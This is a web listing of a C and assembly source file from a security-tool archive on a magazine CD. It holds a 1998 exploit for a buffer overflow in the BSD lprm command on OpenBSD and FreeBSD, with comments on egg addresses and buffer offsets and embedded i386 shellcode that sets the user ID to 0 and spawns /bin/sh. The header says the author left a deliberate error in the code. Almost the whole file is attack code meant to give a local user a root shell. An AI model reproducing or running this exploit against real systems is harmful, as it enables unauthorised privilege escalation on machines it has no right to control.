home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / lprm-bsd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  194 lines

  1. /*
  2.    lprm-bsd.c - Exploit for lprm vulnerability in
  3.                 OpenBSD and FreeBSD-stable
  4.  
  5.    k0ded by Niall Smart, njs3@doc.ic.ac.uk, 1998.
  6.  
  7.    The original version of this file contains a blatant error
  8.    which anyone who is capable of understanding C will be able
  9.    to locate and remove.  Please do not distribute this file
  10.    without this idiot-avoidance measure.
  11.  
  12.    Typical egg on FreeBSD: 0xEFBFCFDF
  13.    Typical egg on OpenBSD: 0xEFBFD648
  14.  
  15.    The exploit might take a while to drop you to a root shell
  16.    depending on the timeout ("tm" capability) specified in the
  17.    printcap file.
  18. */
  19.  
  20. #include <sys/types.h>
  21. #include <pwd.h>
  22. #include <err.h>
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <string.h>
  26. #include <unistd.h>
  27.  
  28. extern void     BEGIN_SC();
  29. extern void     END_SC();
  30.  
  31. int
  32. main(int argc, char** argv)
  33. {
  34.   char            buf[4096];
  35.   struct passwd*  pw;
  36.   char*           cgstr;
  37.   char*           cgbuf;
  38.   char*           printer;
  39.   char*           printcaps[] = { "/etc/printcap", 0 };
  40.   int             sc_size;  /* size of shell code */
  41.   int             P;        /* strlen(RP) + strlen(person) */
  42.   unsigned        egg;      /* value to overwrite saved EIP with */
  43.  
  44.   if (argc != 3)
  45.     {
  46.       fprintf(stderr, "usage: %s <printername> <egg>\n", argv[0]);
  47.       exit(0);
  48.     }
  49.  
  50.   if ( (pw = getpwuid(getuid())) == NULL)
  51.     errx(1, "no password entry for your user-id");
  52.  
  53.   printer = argv[1];
  54.   egg = (unsigned) strtoul(argv[2], NULL, 0);
  55.  
  56.   if (cgetent(&cgstr, printcaps, printer) < 0)
  57.     errx(1, "can't find printer: %s", printer);
  58.  
  59.   if (cgetstr(cgstr, "rm", &cgbuf) < 0 || cgbuf[0] == '\0')
  60.     errx(1, "printer is not remote: %s", printer);
  61.  
  62.   if (cgetstr(cgstr, "rp", &cgbuf) < 0)
  63.     cgbuf = "lp";
  64.  
  65.   sc_size = (char*) END_SC - (char*) BEGIN_SC;
  66.  
  67.   /* We can append 1022 bytes to whatever is in the buffer.
  68.      We need to get up to 1032 bytes to reach the saved EIP,
  69.      so there must be at least 10 bytes placed in the buffer
  70.      by the snprintf on line 337 of rmjob.c and the subsequent
  71.      *cp++ = '\0';  3 = ' ' + ' ' + '\5' */
  72.  
  73.   if ( (P = (strlen(pw->pw_name) + strlen(cgbuf))) < 7)
  74.     errx(1, "your username is too short");
  75.  
  76.   fprintf(stderr, "P = %d\n", P);
  77.   fprintf(stderr, "shellcode = %d bytes @ %d\n", sc_size, 1028 - P - 3 - 12 - sc_size);
  78.   fprintf(stderr, "egg = 0x%X@%d\n", egg, 1028 - P - 3);
  79.  
  80.   /* fill with NOP */
  81.   memset(buf, 0x90, sizeof(buf));
  82.   /* put letter in first byte, this fucker took me eight hours to debug. */
  83.   buf[0] = 'A';
  84.   /* copy in shellcode, we leave 12 bytes for the four pushes before the int 0x80 */
  85.   memcpy(buf + 1028 - P - 3 - 12 - sc_size, (void*) BEGIN_SC, sc_size);
  86.   /* finally, set egg and null terminate */
  87.   *((int*)&buf[1028 - P - 3]) = egg;
  88.   buf[1022] = '\0';
  89.  
  90.   memset(buf, 0, sizeof(buf));
  91.  
  92.   execl("/usr/bin/lprm", "lprm", "-P", printer, buf, 0);
  93.  
  94.   fprintf(stderr, "doh.\n");
  95.  
  96.   return 0;
  97. }
  98.  
  99.  
  100. /*
  101.    shellcode.S - generic i386 shell code
  102.  
  103.    k0d3d by Niall Smart, njs3@doc.ic.ac.uk, 1998.
  104.    Please send me platform-specific mods.
  105.  
  106.    Example use:
  107.  
  108.         #include <stdio.h>
  109.         #include <string.h>
  110.  
  111.         extern void     BEGIN_SC();
  112.         extern void     END_SC();
  113.  
  114.         int
  115.         main()
  116.         {
  117.                 char    buf[1024];
  118.  
  119.                 memcpy(buf, (void*) BEGIN_SC, (long) END_SC - (long) BEGIN_SC);
  120.  
  121.                 ((void (*)(void)) buf)();
  122.  
  123.                 return 0;
  124.         }
  125.  
  126.     gcc -Wall main.c shellcode.S -o main && ./main
  127. */
  128.  
  129.  
  130. #if defined(__FreeBSD__) || defined(__OpenBSD__)
  131. #define EXECVE          3B
  132. #define EXIT            01
  133. #define SETUID          17
  134. #define SETEUID         B7
  135. #define KERNCALL        int $0x80
  136. #else
  137. #error This OS not currently supported.
  138. #endif
  139.  
  140. #define _EXECVE_A       CONCAT($0x555555, EXECVE)
  141. #define _EXECVE_B       CONCAT($0xAAAAAA, EXECVE)
  142. #define _EXIT_A         CONCAT($0x555555, EXIT)
  143. #define _EXIT_B         CONCAT($0xAAAAAA, EXIT)
  144. #define _SETUID_A       CONCAT($0x555555, SETUID)
  145. #define _SETUID_B       CONCAT($0xAAAAAA, SETUID)
  146. #define _SETEUID_A      CONCAT($0x555555, SETEUID)
  147. #define _SETEUID_B      CONCAT($0xAAAAAA, SETEUID)
  148.  
  149. #define CONCAT(x, y)    CONCAT2(x, y)
  150. #define CONCAT2(x, y)   x ## y
  151.  
  152. .global         _BEGIN_SC
  153. .global         _END_SC
  154.  
  155. .data
  156. _BEGIN_SC:
  157. jmp 0x4                 // jump past next two isns
  158. movl (%esp), %eax       // copy saved EIP to eax
  159. ret                     // return to caller
  160. xorl %ebx, %ebx         // zero ebx
  161. pushl %ebx              // sete?uid(0)
  162. pushl %ebx              // dummy, kernel expects extra frame pointer
  163. movl _SETEUID_A, %eax   //
  164. andl _SETEUID_B, %eax   // load syscall number
  165. KERNCALL                // make the call
  166. movl _SETUID_A, %eax    //
  167. andl _SETUID_B, %eax    // load syscall number
  168. KERNCALL                // make the call
  169. subl $-8, %esp          // push stack back up
  170. call -40                // call, pushing addr of next isn onto stack
  171. addl $53, %eax          // make eax point to the string
  172. movb %bl, 2(%eax)       // append '\0' to "sh"
  173. movb %bl, 11(%eax)      // append '\0' to "/bin/sh"
  174. movl %eax, 12(%eax)     // argv[0] = "sh"
  175. movl %ebx, 16(%eax)     // argv[1] = 0
  176. pushl %ebx              // push envv
  177. movl %eax, %ebx         //
  178. subl $-12, %ebx         // -(-12) = 12, avoid null bytes
  179. pushl %ebx              // push argv
  180. subl $-4, %eax          // -(-4) = 4, avoid null bytes
  181. pushl %eax              // push path
  182. pushl %eax              // dummy, kernel expects extra frame pointer
  183. movl _EXECVE_A, %eax    //
  184. andl _EXECVE_B, %eax    // load syscall number
  185. KERNCALL                // make the call
  186. pushl %eax              // push return code from execve
  187. pushl %eax              //
  188. movl _EXIT_A, %eax      // we shouldn't have gotten here, try and
  189. andl _EXIT_B, %eax      // exit with return code from execve
  190. KERNCALL                // JERONIMO!
  191. .ascii "shAA/bin/shBCCCCDDDD"
  192. //      01234567890123456789
  193. _END_SC:
  194. /*                    www.hack.co.za              [2000]*/